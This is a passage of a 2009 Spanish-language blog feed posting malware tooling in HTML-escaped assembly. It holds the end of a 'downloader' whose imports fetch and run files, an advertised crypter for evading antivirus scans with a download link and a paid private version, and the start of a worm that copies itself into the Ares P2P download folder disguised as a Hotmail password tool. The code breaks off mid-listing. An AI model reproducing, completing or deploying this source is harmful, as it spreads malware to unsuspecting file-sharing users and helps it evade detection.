font-weight: bold;"&gt;if&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;#&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;referred = &lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;  forward&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; defined &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;#&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;redundant&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; ~ &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;#&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;redundant&lt;br /&gt;     _label &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;db&lt;/span&gt; string&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;            rb RVA $ &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;and&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; import &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;label&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;string&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; defined &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;#&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;referred&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;#&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;lookup&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;  forward&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; used &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;label&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; string eqtype &lt;span style="color: rgb(127, 0, 127);"&gt;''&lt;/span&gt;&lt;br /&gt;      &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; _label&lt;br /&gt;      &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; RVA _label&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;else&lt;/span&gt;&lt;br /&gt;      &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;80000000h&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt; string&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; $ &amp;gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;#&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;lookup&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;#&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;redundant = &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;else&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;#&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;redundant = &lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;#&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;address&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;  forward&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; used &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;label&lt;/span&gt;&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; string eqtype &lt;span style="color: rgb(127, 0, 127);"&gt;''&lt;/span&gt;&lt;br /&gt;      &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;label&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; RVA _label&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;else&lt;/span&gt;&lt;br /&gt;      &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;label&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;80000000h&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt; string&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; ~ &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;#&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;redundant&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt;&lt;br /&gt;  forward&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; used &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;label&lt;/span&gt; &amp;amp; string eqtype &lt;span style="color: rgb(127, 0, 127);"&gt;''&lt;/span&gt;&lt;br /&gt;    _label &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dw&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;           &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;db&lt;/span&gt; string&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;           rb RVA $ &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;and&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;common&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;library kernel32&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'kernel32.dll'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Wininet&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'Wininet.dll'&lt;/span&gt;  &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;user32&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'user32.dll'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; shell32&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'SHELL32.DLL'&lt;/span&gt;&lt;br /&gt;import kernel32&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;CreateThread&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'CreateThread'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;WaitForSingleObject&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'WaitForSingleObject'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;GetEnvironmentVariable&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'GetEnvironmentVariableA'&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;\&lt;br /&gt;ExitProcess&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'ExitProcess'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;CreateFileA&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'CreateFileA'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;WriteFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'WriteFile'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;CloseHandle&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'CloseHandle'&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;Sleep&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'Sleep'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;ExitThread&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'ExitThread'&lt;/span&gt;&lt;br /&gt;import user32&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;wsprintf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'wsprintfA'&lt;/span&gt;&lt;br /&gt;import shell32&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;ShellExecute&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'ShellExecuteA'&lt;/span&gt;&lt;br /&gt;import Wininet&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;InternetOpen&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'InternetOpenA'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;InternetOpenUrl&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'InternetOpenUrlA'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;InternetCloseHandle&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'InternetCloseHandle'&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;InternetReadFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;'InternetReadFile'&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/525026250660735124-4553629641197687215?l=diariodeyst.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://diariodeyst.blogspot.com/feeds/4553629641197687215/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=525026250660735124&amp;postID=4553629641197687215&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/4553629641197687215'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/4553629641197687215'/><link rel='alternate' type='text/html' href='http://diariodeyst.blogspot.com/2009/07/humilde-downloader-10.html' title='Humilde Downloader 1.0'/><author><name>YST</name><uri>http://www.blogger.com/profile/06921749862062454422</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-525026250660735124.post-5186330596036069473</id><published>2009-06-29T18:51:00.000-07:00</published><updated>2009-06-30T09:11:09.970-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programas'/><title type='text'>YST Crypter - versión publica</title><content type='html'>&lt;div class="post" id="msg_1261830"&gt;&lt;div align="center"&gt;&lt;img src="http://www.jccharry.com/greencode/filemanager/index.php?wfm-ruta=%2FYST%2Fla+ese.JPG" alt="" border="0" /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div align="center"&gt;&lt;a href="http://www.jccharry.com/greencode/filemanager/index.php?wfm-ruta=%2FYST%2FYST+Crypter+-+Public.rar" target="_blank" class="posted"&gt;&lt;b&gt;Descargar&lt;/b&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Fabricado en : Visual basic 6 y ASM&lt;br /&gt;&lt;br /&gt;Detalles:&lt;br /&gt;&lt;br /&gt;&lt;ul style="margin-top: 0pt; margin-bottom: 0pt;"&gt;&lt;li type="square"&gt; Runtime y scantime&lt;/li&gt;&lt;li type="square"&gt; Encriptación RC4&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Información por la versión privada:&lt;br /&gt;&lt;br /&gt;ysk_sft@hotmail.com&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/525026250660735124-5186330596036069473?l=diariodeyst.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://diariodeyst.blogspot.com/feeds/5186330596036069473/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=525026250660735124&amp;postID=5186330596036069473&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/5186330596036069473'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/525026250660735124/posts/default/5186330596036069473'/><link rel='alternate' type='text/html' href='http://diariodeyst.blogspot.com/2009/06/yst-crypter-version-publica.html' title='YST Crypter - versión publica'/><author><name>YST</name><uri>http://www.blogger.com/profile/06921749862062454422</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-525026250660735124.post-2691889114964886662</id><published>2009-06-26T23:44:00.001-07:00</published><updated>2009-06-26T23:45:21.143-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ASM'/><title type='text'>Propagación via ARES</title><content type='html'>&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;include&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;'win32ax.inc'&lt;/span&gt;&lt;br /&gt;entry start&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;code&lt;/span&gt;&lt;br /&gt;cName equ &lt;span style="color: rgb(127, 0, 127);"&gt;"Sacar claves hotmail.exe"&lt;/span&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;; Nombre con que nos copiaremos&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;proc&lt;/span&gt; start&lt;br /&gt;locals&lt;br /&gt;lBuffer rb MAX_PATH&lt;br /&gt;lBuffer2  rb MAX_PATH&lt;br /&gt;lBuffer3  rb MAX_PATH&lt;br /&gt;endl&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Zerar&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; lBuffer&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;MAX_PATH&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; LeerRegistro&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;HKEY_CURRENT_USER&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"Software\Ares"&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;"Download.Folder"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; lBuffer&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt; = &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;endif&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Zerar&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; lBuffer2&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;MAX_PATH&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; lstrlen&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; lBuffer&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; HexToString&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; lBuffer&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; lBuffer2&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; lstrlen&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; lBuffer2&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;lea&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;lBuffer2&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"\"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;MAX_PATH&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;sub&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;lea&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;lBuffer2&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;inc&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Zerar&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; lstrcat&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 220, 0); font-weight: bold;"&gt;addr&lt;/span&gt; lBuffer2&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cName&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;MOV&lt;/span&gt;     &lt;span style="color: rgb(0, 0, 127);"&gt;EaX&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;FS&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;30h&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;MOV&lt;/span&gt;     &lt;span style="color: rgb(0, 0, 127);"&gt;EaX&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;EaX&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;+&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;10h&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;MOV&lt;/span&gt;     &lt;span style="color: rgb(0, 0, 127);"&gt;EaX&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: 